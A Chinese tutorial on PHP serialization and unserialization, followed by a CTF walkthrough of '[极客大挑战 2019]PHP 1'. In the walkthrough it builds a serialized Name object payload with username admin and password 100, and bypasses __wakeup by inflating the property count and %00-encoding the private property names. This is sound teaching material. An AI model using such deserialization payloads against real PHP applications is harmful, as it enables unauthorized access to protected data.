WEB安全-CTF中的PHP反序列化漏洞

什么是序列化?

简单来说序列化是将数组或对象转换成字符串的过程,这样的好处是利于对象存储与传输,在PHP中,序列化函数是serialize(),反序列化是unserialize()

无类序列化

无类序列化顾名思义就是不包含class的序列化,什么意思呢?来看一个php例子

php 复制代码
<?php  
    $test = 'hello world';
    echo serialize($test);
?>

以上代码输出为:

php 复制代码
s:11:"hello world";

在这个例子中不包含class,变量test是一个字符串,其中serialize函数对这个字符串进行序列化,结果是:s:11:"hello world";

其中s表示这个是一个字符串类型,11表示字符串的长度

有类序列化

有类序列化顾名思义是php代码中包含class的对象进行序列化,那么什么是类?

类是一种数据结构,用来描述数据以及数据上的操作,什么意思?

比如我要存储我的年龄只需要在php中给定一个变量然后赋予这个变量值,那么我就实现了存储我的年龄,那么如果我要存储一个学生,那我应该用什么类型呢?int整型?string字符串?也不对,所以,这个时候php语言提供了一种自定义的数据类型可以存储多个基本数据类型,这个自定义的数据类型就叫做类。

那么这个学生可以吃、喝、学习等人类的行为,在php语言中,可以给这个类赋予这些行为,那么这个行为就叫做方法。

php学生类的实现代码:

php 复制代码
<?php  
    class student {
        public $name = "张三";  //姓名
        public $age = 18;   //年龄
        public $grade = 90; //成绩

        //学生的吃行为方法
        public function eat() {
            echo "student eat";
        }

        //学生的喝行为方法
        public function drink() {
            echo "student drink";
        }

        //学生的学习行为方法
        public function study() {
            echo "student study";
        }
    }
    //创建一个学生对象
    $student1 = new student();
    //序列化对象
    echo serialize($student1);

?>

如何创建出一个学生呢?只需要在php中new一个对象即可

php 复制代码
//创建一个学生对象
new student();

那么我们使用一个变量来存储这个对象,然后对它进行序列化看下结果

php 复制代码
//创建一个学生对象
$student1 = new student();
//序列化对象
echo serialize($student1);

以下是运行结果:

php 复制代码
O:7:"student":3:{s:4:"name";s:6:"张三";s:3:"age";i:18;s:5:"grade";i:90;}

O 表示这是一个对象

7 表示这个对象的类名长度

student 表示类名

3 表示这个对象有三个属性

{} 内容就是这三个属性的具体描述

s是字符串、4是第一个属性的名称长度,name是属性名,多个属性用;隔开以此类推

i 表示是int整型

什么是反序列化?

顾名思义,反序列化就是序列化的相反操作,将字符串还原成对象,在php中使用unserialize函数

php 复制代码
<?php  
    class student {
        public $name = "张三";  //姓名
        public $age = 18;   //年龄
        public $grade = 90; //成绩

        //学生的吃行为方法
        public function eat() {
            echo "student eat";
        }

        //学生的喝行为方法
        public function drink() {
            echo "student drink";
        }

        //学生的学习行为方法
        public function study() {
            echo "student study";
        }
    }
    //创建一个学生对象
    $student1 = new student();
    //序列化对象
    $result = serialize($student1);
    //反序列化对象
    $student2 = unserialize($result);
    //输出这个对象的name属性的值
    echo $student2->name;
?>

运行结果:

php 复制代码
张三

CTF实战

题目:[极客大挑战 2019]PHP 1

开启环境,打开页面

打开页面根据提示,网站存在源码备份文件,尝试几个文件名进行访问,发现www.zip文件可以访问,访问下载得到这些文件:

第一眼打开flag.php文件发现不是真实的flag,当然也不可能这么简单

这时候打开index.php文件查看,在37-40行才是重点

include函数包含了flag.php文件,猜测真实的flag存在flag.php文件中

select变量是同个get方法传入select的值获得,然后将我们传入的值进行反序列化

我们再打开class.php文件查看

这里也incule包含了flag.php,然后这里有一个Name的类,有两个私有属性分别是username和password

然后在__wakeup的苏醒函数发现将username的属性值设置为guest,wakeup是一个苏醒函数,就是在反序列化时会自动触发的方法

然后在__destruct的析构函数中,如果password的值不等于100就会退出程序,username的值为admin就会输出flag

php 复制代码
<?php
include 'flag.php';
error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

那么我们的解题思路就是构造一个序列化字符串,然后让username的值为admin并且password的值为100就可以得到flag

根据解题思路写出解题代码:

php 复制代码
<?php

class Name{
    private $username;
    private $password;

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}

$answer = new Name("admin",100);
echo serialize($answer);
?>

然后运行代码得到反序列化字符串:

php 复制代码
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但是这里存在一个问题,那就是有__wakeup的苏醒函数存在,我们进行反序列化时他强制将username的值设置为guest,那么我们得绕过这个函数,这里引申出一个绕过方法:

当传入的反序列化字符串中的属性个数>实际属性个数时就不会触发这个方法,因此将上述反序列化字符串的属性数量修改为>2即可:

php 复制代码
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

还有一个问题,因为这里Name类的属性都是私有属性,在序列化时会将属性名的前面添加类名,从而使得username的属性名变为Nameusername,其中Name类名的前后均存在\0的不可见字符用于区分类名和属性名,但是我们在浏览器传入的时候这个不可见字符会变为不存在,因此需要在Name前后都添加一个%00,得到:

php 复制代码
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

然后通过get传入select参数就行:

相关推荐
FGHua_kk39 分钟前
CTFHub-RCE eval执行
网络安全·ctfhub
mooyuan天天2 小时前
pikachu靶场通关笔记05 XSS关卡01-反射型GET
网络·web安全·反射型xss·pikachu靶场·xss漏洞
pencek4 小时前
HackMyVM-Art
网络安全
pencek5 小时前
HackMyVM-First
网络安全
浩浩测试一下6 小时前
reverse_ssh 建立反向 SSH 连接指南 混淆&&AV [好东西哟]
运维·开发语言·网络·安全·网络安全·ssh·php
Johny_Zhao7 小时前
企业级MediaWiki知识库系统搭建部署指南(CentOS 8)
linux·网络·网络安全·信息安全·云计算·shell·yum源·系统运维·itsm·mediawiki·企业知识库搭建
2501_916013741 天前
用 Appuploader,让 iOS 上架流程真正“可交接、可记录、可复用”:我们是这样实现的
websocket·网络协议·tcp/ip·http·网络安全·https·udp
一口一个橘子1 天前
[ctfshow web入门] web80
前端·web安全·网络安全
qq_243050791 天前
thc-ssl-dos:SSL 压力测试的轻量级工具!全参数详细教程!Kali Linux教程!
linux·网络·安全·网络安全·压力测试·ssl·kali linux
2501_915921431 天前
外包项目交付后还能怎么加固?我用 Ipa Guard 给 iOS IPA 增加了一层保障
websocket·网络协议·tcp/ip·http·网络安全·https·udp